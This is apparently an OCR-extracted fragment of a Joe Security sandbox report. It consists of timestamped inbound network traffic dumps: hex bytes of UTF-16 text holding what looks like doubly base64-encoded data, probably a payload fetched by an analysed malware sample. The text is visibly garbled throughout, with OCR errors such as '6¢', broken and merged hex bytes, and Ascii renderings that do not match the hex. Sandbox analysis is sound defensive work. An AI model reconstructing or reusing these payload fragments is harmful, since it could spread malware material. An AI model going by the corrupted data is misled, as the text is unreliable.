6b 00 31 00 42 00 57 00 55 00 46 00 54 00 5a 00 30 00 56 00 42 00 51 00 55 00 46 00 52 00 51 00 55 00 46 00 43 00 52
00 6e 00 70 00 53 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 76 00 51 00 30 00 68 00 76 00 4d 00 57 00 46 00 42 00
51 00 55 00 46 00 43 00 53 00 6d 00 52 00 45 00 55 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 52 00 47 00 4e 00 42
00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 61 00 57 00 63 00 31 00 51 00 55 00 46 00
42 00 53 00 30 00 4e 00 33 00 59 00 32 00 39 00 50 00 5a 00 30 00 46 00 42
Data Ascii: QmdBQUFEYONBQUE5QWdBQUF3QUFBQThBQUFFYk1BWUFTZOVBQUFRQUFCRNpSZOFBQ2dv
QOhvMWFBQUFCSmMREUEFBQUVLRGNBQUFwek9BQUFDaWc1QUFBSON3Y29PZ0FB

2021-11-18 09:30:21 UTC 30 IN Data Raw: 00 30 00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00
46 00 42 00 54 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 56 00 55 00 4a 00 42 00 51 00 55 00 45 00 72 00 51 00 56
00 46 00 42 00 51 00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 46 00 51 00
55 00 46 00 42 00 51 00 55 00 46 00 43 00 5a 00 30 00 46 00 42 00 51 00 55 00 51 00 77 00 51 00 6b 00 46 00 42 00 51
00 6b 00 52 00 42 00 55 00 55 00 46 00 42 00 51 00 58 00 64 00 42 00 51 00 55 00 46 00 42 00 4f 00 45 00 46 00 42 00
51 00 55 00 56 00 69 00 54 00 55 00 46 00 56 00 51 00 55 00 56 00 42 00 52 00 55 00 46 00 42 00 51 00 56 00 56 00 42
00 51 00 55 00 4a 00 47 00 65 00 6¢ 00 4e 00 42 00 51 00 55 00 46 00 44 00
Data Ascii: OFBQUFVQUFBRUFBQUFBT1FBQUFBVUJBQUEIQVFBQUF3QUFBQThBQUFFQUFBQUFCZOFBQ
UQWQKFBQKRBUUFBQXJBQUFBOEFBQUVITUFVQUVBRUFBQVVBQUJGEINBQUFD
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2021-11-18 09:30:21 UTC 32 IN Data Raw: 55 00 46 00 42 00 52 00 31 00 41 00 79 00 55 00 43 00 38 00 76 00 4c 00 79 00 39 00 6c 00 51 00 58 00 6¢ 00
69 00 5a 00 55 00 46 00 4f 00 4e 00 45 00 52 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6¢ 00 76 00 53 00 6b 00 74
00 72 00 52 00 6b 00 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 46 00 42 00 51 00 55 00
46 00 42 00 53 00 47 00 4e 00 42 00 51 00 55 00 46 00 45 00 5a 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 64 00 30
00 46 00 42 00 51 00 55 00 46 00 76 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 54 00
31 00 46 00 42 00 51 00 55 00 46 00 4e 00 63 00 30 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 46 00 42 00 51
00 55 00 46 00 33 00 51 00 55 00 46 00 42 00 51 00 54 00 68 00 42 00 51
Data Ascii: UFBR1AyUCBVLy9IQXIiZUFONERKdDRBQmIvSkirRk1BQUFBQUFBQWFBQUFBSGNBQUFEZKFBQUFBAOF
BQUFVQUFBRUFBQUFBT1FBQUFNCOFBQUFFQVFBQUF3QUFBQThBQ

2021-11-18 09:30:21 UTC 33 IN Data Raw: 00 68 00 52 00 65 00 48 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c
0059 00 33 00 70 00 6e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 50 00 55 00 55 00 46 00 42 00 51 00 32 00 64 00
7a 0053 00 45 00 74 00 45 00 62 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 54 00 47 00 64 00 72 00 57 00 46 00 64
00 42 00 4d 00 44 00 52 00 57 00 4c 00 79 00 38 00 76 00 4c 00 33 00 64 00 72 00 57 00 6¢ 00 46 00 47 00 52 00 43 00
38 00 76 00 4c 00 7a 00 68 00 44 00 53 00 48 00 63 00 72 00 54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31
00 68 00 52 00 65 00 48 00 64 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00
33 00 70 00 6e 00 51 00 55 00 46 00 42 00 62 00 32 00 39 00 50 00 55 00
Data Ascii: hReHdBQUJDZzNBQUFLY3pnQUFBb29PUUFBQ2dzSEtEbOFBQWI0TGdrWFdBMDRWLY8vL3drWIFGRC8v
LzhDSHcrTldnQUFBU1hReHdBQUJDZzNBQUFLY3pnQUFBb29PU

2021-11-18 09:30:21 UTC 34 IN Data Raw: 68 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 56 00 59 00 54 00 54 00 4a 00 42
00 51 00 55 00 46 00 4c 00 51 00 32 00 64 00 4b 00 65 00 6¢ 00 5a 00 52 00 51 00 55 00 46 00 44 00 5a 00 33 00 52 00
36 00 56 00 6d 00 64 00 42 00 51 00 55 00 4e 00 70 00 56 00 55 00 68 00 69 00 4d 00 57 00 4e 00 42 00 51 00 55 00 46
00 77 00 64 00 6¢ 00 64 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6¢ 00 61 00 51 00 55 00 46 00 42 00 53 00 30 00
5a 00 74 00 4f 00 57 00 46 00 42 00 51 00 55 00 46 00 4c 00 59 00 6a 00 46 00 72 00 51 00 55 00 46 00 42 00 63 00 48
00 5a 00 58 00 64 00 30 00 46 00 42 00 51 00 32 00 64 00 33 00 63 00 6¢ 00 42 00 42 00 61 00 48 00 5a 00 45 00 64 00
30 00 46 00 42 00 51 00 32 00 35 00 52 00 57 00 45 00 46 00 42 00 51 00 55
Data Ascii: h(BQUFBQ2dBQUVYTTJBQUFLQ2dKelZRQUFDZ3R6VmMAdBQUNpYUhIMWNBQUFwdIdBQUFDbT
laQUFBS0ZtOWFBQUFLYjFrQUFBcHZXdOFBQ2d3cIBBaHZEdOFBQ25RWEFBQU

2021-11-18 09:30:21 UTC 36 IN Data Raw: 00 6e 00 5a 00 48 00 5a 00 45 00 51 00 55 00 46 00 42 00 51 00 32 00 70 00 77 00 55 00 79 00 38 00 76 00 4c
00 79 00 38 00 7a 00 61 00 45 00 56 00 49 00 5a 00 46 00 4a 00 5a 00 51 00 55 00 46 00 42 00 52 00 55 00 35 00 44 00
55 00 33 00 64 00 48 00 51 00 31 00 63 00 34 00 54 00 45 00 46 00 42 00 51 00 55 00 73 00 7a 00 54 00 6a 00 56 00 72
00 53 00 6e 00 51 00 31 00 61 00 45 00 4a 00 6e 00 57 00 6e 00 5a 00 54 00 51 00 55 00 56 00 42 00 51 00 6d 00 6¢ 00
6e 00 62 00 55 00 46 00 42 00 51 00 55 00 74 00 4d 00 55 00 57 00 64 00 48 00 59 00 6a 00 42 00 6e 00 51 00 6b 00 46
00 42 00 57 00 58 00 4a 00 43 00 57 00 45 00 6¢ 00 79 00 51 00 57 00 64 00 43 00 64 00 32 00 49 00 77 00 61 00 30 00
4a 00 42 00 51 00 56 00 6¢ 00 48 00 51 00 6d 00 30 00 35 00 53 00 30 00
Data Ascii: nZHZEQUFBQ2pwUy8vLy8zaEVIZFJZQUFBRU5DU3dHQ1c4TEFBQUSZTjVrSnQ1aEInWnZTQUVBQmInb
UFBQUtMUWdHY|BnQkFBWXJCWElyQWdCd2Iwa0JBQVIHQMO5S0

2021-11-18 09:30:21 UTC 37 IN Data Raw: 6f 00 61 00 6b 00 46 00 42 00 51 00 55 00 74 00 69 00 65 00 56 00 56 00 42 00 51 00 55 00 46 00 76 00 64 00
45 00 4e 00 53 00 52 00 55 00 56 00 4c 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 5a 00 63 00 6b 00 4a 00 34 00 52
00 55 00 56 00 4c 00 51 00 54 00 68 00 42 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 53 00 52 00 55 00 5a 00 4c 00
51 00 31 00 6¢ 00 42 00 51 00 55 00 46 00 76 00 64 00 46 00 70 00 59 00 54 00 58 00 56 00 42 00 55 00 55 00 46 00 48
00 53 00 6¢ 00 4a 00 46 00 52 00 6d 00 4a 00 35 00 53 00 55 00 4a 00 42 00 51 00 56 00 6¢ 00 73 00 52 00 56 00 46 00
53 00 65 00 6¢ 00 70 00 42 00 51 00 55 00 46 00 44 00 62 00 54 00 6¢ 00 73 00 51 00 55 00 46 00 42 00 53 00 32 00 4a
00 35 00 55 00 55 00 4a 00 42 00 51 00 56 00 6¢ 00 73 00 52 00 56 00 46
Data Ascii: 0oakFBQUtieVVBQUFVJENSRUVLQKFBQUFZckJARUVLQThBQUFZVEJSRUZLQ1IBQUFvdFpYTXVBUUFHS
IJFRMJ5SUJIBQVISRVFSelpBQUFDbTISQUFBS2J5UUJBQVISRVFE

2021-11-18 09:30:21 UTC 38 IN Data Raw: 00 4e 00 30 00 46 00 42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33
00 70 00 6e 00 51 00 55 00 46 00 42 00 63 00 48 00 5a 00 79 00 64 00 30 00 46 00 42 00 51 00 6d 00 6¢ 00 5a 00 56 00
30 0056 00 33 00 55 00 54 00 52 00 55 00 51 00 55 00 56 00 42 00 51 00 55 00 4a 00 52 00 56 00 45 00 4a 00 52 00 5a
00 31 00 4a 00 43 00 53 00 45 00 6¢ 00 45 00 51 00 58 00 64 00 43 00 64 00 32 00 4e 00 73 00 56 00 55 00 52 00 42 00
53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c
00 59 00 6a 00 59 00 77 00 51 00 55 00 46 00 42 00 57 00 6e 00 5a 00 50 00 64 00 30 00 46 00 42 00 51 00 32 00 35 00
4e 00 64 00 30 00 46 00 52 00 51 00 55 00 64 00 46 00 64 00 31 00 6¢ 00
Data Ascii: NOFBQUJDZzNBQUFLY3pnQUFBcHZydOFBQmMIZVOV3UTRUQUVBQUJRVEJRZ1JCSEIEQXdC
d2NsVURBSEI'SGdBQUNpZ2ZBQUFLYjYWQUFBWnZPdOFBQ25NdOFRQUAFd1I

2021-11-18 09:30:21 UTC 40 IN Data Raw: 56 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 6d 00 70 00 42 00 51 00 55
00 46 00 42 00 54 00 6b 00 46 00 46 00 51 00 55 00 46 00 4b 00 59 00 30 00 4a 00 42 00 51 00 55 00 46 00 45 00 51 00
55 00 46 00 42 00 51 00 55 00 4e 00 6e 00 51 00 55 00 46 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52
00 30 00 46 00 42 00 51 00 55 00 46 00 30 00 55 00 55 00 56 00 42 00 51 00 55 00 78 00 7a 00 51 00 6b 00 46 00 42 00
51 00 55 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 32 00 64 00 42 00 51 00 55 00 46 00 53 00 63 00 33 00 64 00 43
00 55 00 55 00 4a 00 36 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 6e 00 51 00 55 00 46 00 46 00 57 00 44 00 52 00
6¢ 00 51 00 55 00 46 00 42 00 53 00 30 00 4e 00 6e 00 53 00 57 00 5a 00 44
Data Ascii: VFFBQUFBQUFBQmMpBQUFBTKFFQUFKY0JBQUFEQUFBQUNNQUFBUUFBQUFBROFBQUFOUUVB
QUxzQkFBQURBQUFBQ2dBQUFSc3dCUUJ6QUFBQURNQUFFWDRIQUFBSONNSWZD

2021-11-18 09:30:21 UTC 41 IN Data Raw: 00 57 00 46 00 42 00 51 00 55 00 46 00 43 00 53 00 6d 00 52 00 45 00 5a 00 45 00 46 00 42 00 51 00 55 00
56 00 4c 00 52 00 47 00 4e 00 42 00 51 00 55 00 46 00 77 00 65 00 6b 00 39 00 42 00 51 00 55 00 46 00 44 00 62 00 6b
00 78 00 36 00 51 00 58 00 64 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 4
800 64 0042 00 51 00 55 00 4e 00 70 00 5a 00 7a 00 56 00 42 00 51 00 55 00 46 00 4c 00 59 00 7a 00 4a 00 52 00 51
00 55 00 46 00 42 00 62 00 30 00 78 00 43 00 4d 00 6a 00 6¢ 00 76 00 51 00 55 00 46 00 42 00 53 00 30 00 78 00 52 00
59 00 30 00 64 00 45 00 54 00 6a 00 4a 00 6a 00 51 00 56 00 46 00 42 00 51 00 55 00 4a 00 34 00 4f 00 46 00 6¢ 00 71
00 56 00 6d 00 39 00 42 00 51 00 55 00 46 00 46 00 62 00 44 00 42 00 50 00
Data Ascii: WFBQUFCSmREZEFBQUVLRGNBQUFwek9BQUFDbkx6QXdCd2ZoNEFBQW9VSHABQUNpZzVBQ
UFLYZzJRQUFBbOXCMjlvQUFBSO0xRYOdETjJjQVFBQUJ4OFIqVm9BQUFFbDBP

2021-11-18 09:30:21 UTC 42 IN Data Raw: 6b 00 74 00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 53 00 6b 00 4a 00 46 00 54 00 30 00 74
00 45 00 64 00 30 00 46 00 42 00 51 00 57 00 39 00 30 00 52 00 33 00 64 00 61 00 65 00 6¢ 00 52 00 6e 00 52 00 55 00
46 00 43 00 61 00 56 00 56 00 53 00 52 00 46 00 63 00 35 00 54 00 45 00 46 00 52 00 51 00 55 00 64 00 4b 00 55 00 6b
00 56 00 50 00 59 00 6a 00 41 00 77 00 51 00 6b 00 46 00 42 00 57 00 6e 00 5a 00 51 00 5a 00 30 00 46 00 42 00 51 00
3300 51 00 30 00 52 00 45 00 70 00 30 00 4e 00 45 00 46 00 46 00 55 00 56 00 6¢ 00 59 00 56 00 30 00 4a 00 4e 00 52
0030 00 56 00 52 00 57 00 56 00 4a 00 43 00 57 00 54 00 56 00 77 00 55 00 44 00 68 00 51 00 4b 00 79 00 38 00 76 00
4f 00 46 00 4a 00 43 00 51 00 6d 00 52 00 5a 00 52 00 58 00 64 00 52 00 55
Data Ascii: ktEdOFBQW90SkJFTOtEdOFBQWI0R3daelRnRUFCaVVSRFc5TEFRQUAKUKVPYjAWQKFBWNZQZOFBQ3Q
OREPONEFFUVIYVOJINROVRWVICWTVWUDhQKy8VOFJCQMRZRXARU
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2021-11-18 09:30:21 UTC 44

2021-11-18 09:30:21 UTC 45

2021-11-18 09:30:21 UTC 46

2021-11-18 09:30:21 UTC 48

2021-11-18 09:30:21 UTC 49

2021-11-18 09:30:21 UTC 50

2021-11-18 09:30:21 UTC 52

2021-11-18 09:30:21 UTC 53

2021-11-18 09:30:21 UTC 54

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 00 46 00 76 00 62 00 30 00 68 00 33 00 51 00 55 00 46 00 44 00 61 00 57 00 70 00 69 00 51 00 55 00 46 00
4200 52 00 30 00 74 00 42 00 63 00 30 00 46 00 42 00 51 00 33 00 4e 00 45 00 51 00 6b 00 46 00 56 00 54 00 30 00 4a
00 42 00 4e 00 45 00 5a 00 45 00 5a 00 31 00 6¢ 00 50 00 51 00 6e 00 63 00 30 00 53 00 55 00 52 00 6e 00 61 00 30 00
39 00 44 00 62 00 53 00 38 00 76 00 51 00 56 00 46 00 42 00 52 00 30 00 74 00 78 00 4e 00 45 00 4e 00 4c 00 51 00 6¢
00 56 00 42 00 51 00 55 00 46 00 61 00 65 00 55 00 46 00 52 00 57 00 55 00 46 00 6a 00 53 00 45 00 70 00 61 00 51 00
6d 00 64 00 43 00 64 00 32 00 5a 00 6f 00 4e 00 45 00 46 00 42 00 51 00 57 00 39 00 76 00 53 00 48 00 64 00 42 00 51
00 55 00 4e 00 70 00 61 00 6d 00 4a 00 42 00 51 00 55 00 46 00 48 00 53 00

Data Ascii: Fvb0h3QUFDaWpiQUFBROtBCOFBQ3NEQKFVT0JBNEZEZ1IPQncOSURNa09DbS8VQVFBROXNENLQIVB
QUFaeUFRWUFjSEpaQmdCd2ZoNEFBQW9vVSHJIBQUNpamJBQUFHS

Data Raw: 46 00 76 00 51 00 55 00 46 00 42 00 51 00 6b 00 4e 00 33 00 53 00 57 00 5a 00 45 00 64 00 32 00 4e 00 58
00 51 00 57 00 38 00 31 00 63 00 45 00 68 00 33 00 4f 00 56 00 70 00 4c 00 52 00 7a 00 68 00 42 00 51 00 55 00 46 00
76 00 5a 00 6b 00 56 00 4a 00 4d 00 57 00 39 00 42 00 51 00 55 00 46 00 43 00 52 00 45 00 46 00 6¢ 00 54 00 32 00 46
00 52 00 61 00 55 00 39 00 68 00 56 00 6d 00 31 00 4f 00 59 00 55 00 46 00 42 00 51 00 55 00 46 00 52 00 4d 00 45 00
68 00 43 00 4e 00 44 00 56 00 77 00 53 00 48 00 68 00 43 00 57 00 6b 00 4e 00 43 00 57 00 57 00 5a 00 46 00 51 00 32
00 68 00 32 00 51 00 55 00 46 00 42 00 53 00 30 00 4a 00 34 00 57 00 55 00 70 00 47 00 5a 00 32 00 56 00 50 00 59 00
56 00 46 00 70 00 54 00 32 00 46 00 57 00 61 00 32 00 39 00 69 00 64 00 30

Data Ascii: F"QUFBQKN3SWZEd2NXQW81cEh30VpLRzhBQUFVZKVIMW9BQUFCREFIT2FRaUShVm10YU
FBQUFRMEhCNDVWSHhCWKNCWWZFQ2h2QUFBS0J4WUpGZ2VPYVFpT2FWa29id0

Data Raw: 00 47 00 64 00 31 00 6¢ 00 69 00 61 00 31 00 70 00 33 00 62 00 45 00 64 00 42 00 57 00 57 00 4e 00 72 00 57
00 6e 00 64 00 73 00 52 00 31 00 46 00 5a 00 5a 00 47 00 74 00 61 00 64 00 31 00 64 00 4c 00 53 00 45 00 31 00 42 00
51 0055 00 46 00 76 00 63 00 55 00 46 00 42 00 51 00 56 00 52 00 4e 00 51 00 56 00 6¢ 00 42 00 55 00 55 00 46 00 42
00 51 00 55 00 46 00 43 00 55 00 55 00 46 00 42 00 51 00 6b 00 59 00 72 00 5a 00 45 00 46 00 42 00 51 00 55 00 4e 00
6e 00 62 00 30 00 4e 00 46 00 5a 00 30 00 46 00 45 00 51 00 6b 00 4a 00 5a 00 62 00 30 00 5a 00 6e 00 51 00 55 00 46
00 43 00 61 00 58 00 64 00 48 00 59 00 7a 00 4e 00 46 00 51 00 55 00 46 00 42 00 63 00 44 00 5a 00 4c 00 53 00 46 00
56 00 42 00 51 00 55 00 46 00 76 00 52 00 6d 00 49 00 7a 00 51 00 55 00

Data Ascii: Gd1lialp3bEdBWWNrWndsR1FZZGtad1dLSE1BQUFvcUFBQVRNQVIBUUFBQUFCUUFBQKYrZEFBQUNNb
ONFZOFEQkJZb0ZnQUFCaXdHYzNFQUFBcDZLSFVBQUFVRmMIzQU

Data Raw: 49 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 4a 00 52 00 56 00 46 00 68 00 54 00 32 00 46 00 57 00 5a
00 30 00 31 00 46 00 55 00 56 00 46 00 59 00 56 00 30 00 4a 00 4e 00 52 00 55 00 56 00 52 00 55 00 55 00 70 00 71 00
62 00 57 00 74 00 35 00 4d 00 55 00 46 00 6a 00 63 00 54 00 42 00 70 00 61 00 47 00 64 00 42 00 51 00 55 00 46 00 4c
00 53 00 48 00 64 00 35 00 54 00 6¢ 00 64 00 6e 00 51 00 55 00 46 00 42 00 55 00 31 00 68 00 52 00 4e 00 32 00 64 00
42 00 51 00 55 00 4a 00 44 00 5a 00 7a 00 4e 00 42 00 51 00 55 00 46 00 4c 00 59 00 33 00 70 00 6e 00 51 00 55 00 46
00 42 00 62 00 32 00 39 00 69 00 5a 00 30 00 46 00 42 00 51 00 32 00 64 00 4b 00 64 00 6d 00 4e 00 42 00 51 00 55 00
46 00 44 00 5a 00 30 00 31 00 46 00 53 00 30 00 4e 00 6a 00 51 00 55 00 46

Data Ascii: IZOFBQW9JRVFhT2FWZ01FUVFYV0IJNRUVRUUpgbWt5MUFjcTBpaGdBQUFLSHA5TIdnQUFBU1hRN2dBQ
UJDZzNBQUFLY3pnQUFBb29iZ0FBQ2dKdmNBQUFDZ01FSONjQUF

Data Raw: 00 51 00 32 00 49 00 30 00 52 00 55 00 46 00 42 00 51 00 57 00 38 00 76 00 56 00 58 00 59 00 76 00 4c 00
79 0039 00 33 00 57 00 58 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 58 00 70 00 42 00 52 00 6b 00 46 00 46 00 57
00 55 00 46 00 42 00 51 00 55 00 46 00 61 00 51 00 55 00 46 00 42 00 55 00 6d 00 4d 00 30 00 53 00 55 00 46 00 42 00
51 00 57 00 39 00 4c 00 52 00 6d 00 64 00 7a 00 63 00 6b 00 78 00 42 00 57 00 55 00 4e 00 43 00 4d 00 6a 00 68 00 75
00 51 00 55 00 46 00 42 00 53 00 30 00 46 00 33 00 59 00 30 00 52 00 69 00 4e 00 45 00 31 00 42 00 51 00 55 00 46 00
77 00 5a 00 47 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 58 00 42 00 6f 00 61 00 6b 00 68 00 4e 00 51 00 55 00 46
00 42 00 52 00 57 00 46 00 4c 00 53 00 56 00 46 00 42 00 51 00 55 00 46 00

Data Ascii: Q2I0RUFBQW8VVXYVLY93WXFBQUFBRXpBRKFFWUFBQUFaQUFBUMMOSUFBQWILRmdzckxB
WUNCMjhuQUFBSO0F3YORINE1IBQUFWZGJ5Y0FBQXBoakhNQUFBRWFLSVFBQUF

Data Raw: 59 00 6a 00 56 00 56 00 51 00 55 00 46 00 42 00 62 00 30 00 6¢ 00 69 00 4e 00 56 00 6¢ 00 42 00 51 00 55 00
4600 76 00 57 00 45 00 52 00 6b 00 4e 00 45 00 5a 00 4b 00 61 00 46 00 6¢ 00 4f 00 4d 00 32 00 64 00 42 00 53 00 6b
00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 61 00
56 00 6¢ 00 42 00 51 00 56 00 56 00 51 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 36 00 51 00 55 00 4a 00 42 00 51
00 6¢ 00 56 00 42 00 51 00 55 00 46 00 42 00 59 00 6b 00 46 00 42 00 51 00 56 00 4a 00 42 00 62 00 6e 00 4e 00 44 00
51 00 55 00 46 00 42 00 52 00 57 00 4a 00 33 00 55 00 55 00 4a 00 42 00 51 00 56 00 6¢ 00 4c 00 4d 00 32 00 64 00 56
00 62 00 55 00 5a 00 6e 00 63 00 6d 00 56 00 42 00 51 00 56 00 6¢ 00 78

Data Ascii: YjVVQUFBbOIINVIBQUFVWERKNEZKaFIOM2dBSkinQUIFQUFBQUFBQUFKaVIBQVVQQUFBQkA6QUJIBQ
VBQUFBYKFBQVJBbnNDQUFBRWJI3UUJBQVILM2dVbUZncmVBQVIx

Data Raw: 00 55 00 35 00 32 00 52 00 57 00 64 00 46 00 51 00 55 00 4a 00 6e 00 63 00 6d 00 56 00 43 00 55 00 31 00 6¢
0058 00 51 00 33 00 51 00 30 00 51 00 55 00 4a 00 70 00 62 00 30 00 46 00 42 00 51 00 55 00 56 00 52 00 51 00 55 00
46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 45 00 64 00 7a 00 68 00 42 00 51 00 6¢ 00 45 00 34 00 51 00 55
00 46 00 42 00 52 00 57 00 4a 00 4e 00 51 00 55 00 6¢ 00 42 00 52 00 6d 00 64 00 42 00 51 00 55 00 46 00 43 00 64 00
30 00 46 00 42 00 51 00 6b 00 56 00 44 00 5a 00 58 00 64 00 4a 00 51 00 55 00 46 00 42 00 55 00 55 00 52 00 69 00 64
0032 00 74 00 43 00 51 00 55 00 46 00 5a 00 53 00 7a 00 4e 00 6e 00 56 00 57 00 31 00 47 00 5a 00 33 00 4a 00 6¢ 00
51 00 55 00 46 00 5a 00 63 00 55 00 46 00 42 00 51 00 55 00 4a 00 46 00

Data Ascii: US2RWdFQUJIncmVCU1IXQ3Q0QUJpbOFBQUVRQUFBQUFBQUFEdzhBQIEAQUFBRWJINQUIBR
mdBQUFCAOFBQKVDZXdIQUFBUURId2tCQUFZSzNNVW1GZ3JIQUFZcUFBQUJF

Data Raw: 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 45 00 34 00 55 00 45 00 46 00 42 00 56 00 56 00 42
00 42 00 51 00 55 00 46 00 43 00 52 00 33 00 70 00 42 00 51 00 30 00 46 00 43 00 57 00 55 00 46 00 42 00 51 00 55 00
46 00 6a 00 51 00 55 00 46 00 42 00 55 00 6b 00 46 00 75 00 63 00 30 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 54
00 49 00 34 00 56 00 55 00 46 00 52 00 51 00 55 00 64 00 44 00 64 00 44 00 52 00 47 00 53 00 6d 00 68 00 5a 00 53 00
7a 00 4e 00 6e 00 51 00 55 00 64 00 4c 00 5a 00 30 00 46 00 42 00 51 00 56 00 4a 00 42 00 51 00 55 00 46 00 42 00 51
00 55 00 46 00 42 00 51 00 55 00 46 00 51 00 52 00 48 00 64 00 42 00 52 00 6b 00 52 00 33 00 51 00 55 00 46 00 42 00
55 00 6 00 4e 00 33 00 51 00 57 00 64 00 42 00 56 00 30 00 46 00 42 00 51

Data Ascii: UFBQUFBQUE4UEFBVVBBQUFCR3pBQOFCWUFBQUFQUFBUKFUcONBQUFFQTI4VUFRQUADd
DRGSMhZSzNnQUALZOFBQVJIBQUFBQUFBQUFQRHABRKR3QUFBUNN3QWABVOFBQ

Data Raw: 00 64 00 33 00 51 00 55 00 46 00 46 00 55 00 55 00 6f 00 33 00 51 00 57 00 64 00 42 00 51 00 55 00 4a 00 48
00 4f 00 46 00 70 00 42 00 55 00 55 00 46 00 48 00 52 00 6 00 64 00 79 00 5a 00 55 00 4a 00 54 00 57 00 56 00 64 00
44,00 64 00 44 00 52 00 42 00 51 00 6d 00 6¢ 00 76 00 51 00 55 00 46 00 42 00 52 00 56 00 46 00 42 00 51 00 55 00 46
00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 33 00 4f 00 45 00 46 00 43 00 55 00 54 00 68 00 42 00 51 00 55 00 4
6 00 46 00 59 00 6b 00 31 00 42 00 54 00 55 00 46 00 4a 00 51 00 55 00 46 00 42 00 51 00 55 00 4a 00 7a 00 51 00 55
00 46 00 43 00 52 00 55 00 56 00 42 00 62 00 6e 00 4e 00 44 00 51 00 55 00 46 00 42 00 52 00 55 00 45 00 79 00 4f 00
4700 46 00 42 00 55 00 55 00 46 00 48 00 56 00 56 00 4a 00 6a 00 53 00

Data Ascii: d3QUFFUU03QWdBQUJIHOFpBUUFHRNdyZUJTWVdDdDRBQMIVQUFBRVFBQUFBQUFBQUR3OE
FCUThBQUFFYk1BTUFJQUFBQUJzZQUFCRUVBbNNDQUFBRUEYOGFBUUFHVVJ|S
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Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 4e 00 45 00 64 00 57 00 51 00 55 00 46 00 42 00 51 00 6d 00 35 00 50 00 51 00 30 00 46 00 42 00 51 00 55
00 64 00 76 00 61 00 56 00 56 00 68 00 52 00 6¢ 00 41 00 30 00 52 00 31 00 56 00 33 00 51 00 55 00 46 00 43 00 62 00
6b 00 39 00 44 00 51 00 55 00 46 00 42 00 52 00 32 00 39 00 70 00 56 00 57 00 4a 00 47 00 55 00 44 00 52 00 48 00 56
00 6e 00 64 00 42 00 51 00 55 00 4a 00 75 00 54 00 30 00 4e 00 42 00 51 00 55 00 46 00 48 00 62 00 32 00 6¢ 00 70 00
53 00 6b 00 46 00 42 00 51 00 55 00 64 00 43 00 62 00 6b 00 39 00 74 00 51 00 55 00 46 00 42 00 53 00 32 00 5a 00 52
00 51 00 55 00 4a 00 42 00 51 00 56 00 46 00 76 00 61 00 47 00 64 00 42 00 51 00 55 00 4a 00 6e 00 59 00 69 00 74 00
4300 5a 00 31 00 6¢ 00 44 00 51 00 55 00 46 00 61 00 65 00 6€ 00 42 00 33

Data Ascii: NEdWQUFBQmM5PQOFBQUdvaVVhRIAOR1V3QUFCbk9DQUFBR29pVWJIGUDRHVNABQUJIUTONB
QUFHb2IpSkFBQUACHkItQUFBS2ZRQUIBQVFvaGdBQUJNYitCZ1IDQUFaenB3

Data Raw: 00 4c 00 54 00 6a 00 68 00 42 00 51 00 55 00 46 00 61 00 64 00 6e 00 68 00 6e 00 51 00 55 00 46 00 44 00 5a
0033 00 4e 00 79 00 52 00 48 00 68 00 4a 00 51 00 6b 00 74 00 4e 00 59 00 30 00 46 00 42 00 51 00 57 00 39 00 4f 00
51 00 6d 00 64 00 73 00 64 00 6e 00 6¢ 00 42 00 51 00 55 00 46 00 44 00 61 00 45 00 6¢ 00 43 00 53 00 30 00 31 00 72
00 51 00 55 00 46 00 42 00 62 00 33 00 51 00 32 00 54 00 6a 00 52 00 50 00 52 00 57 00 64 00 49 00 4b 00 30 00 5a 00
70 00 57 00 55 00 46 00 42 00 51 00 6e 00 52 00 32 00 51 00 33 00 64 00 42 00 51 00 55 00 4e 00 30 00 64 00 30 00 64
00 6a 00 4e 00 56 00 6¢ 00 43 00 51 00 55 00 46 00 5a 00 56 00 45 00 4a 00 43 00 52 00 55 00 56 00 49 00 64 00 33 00
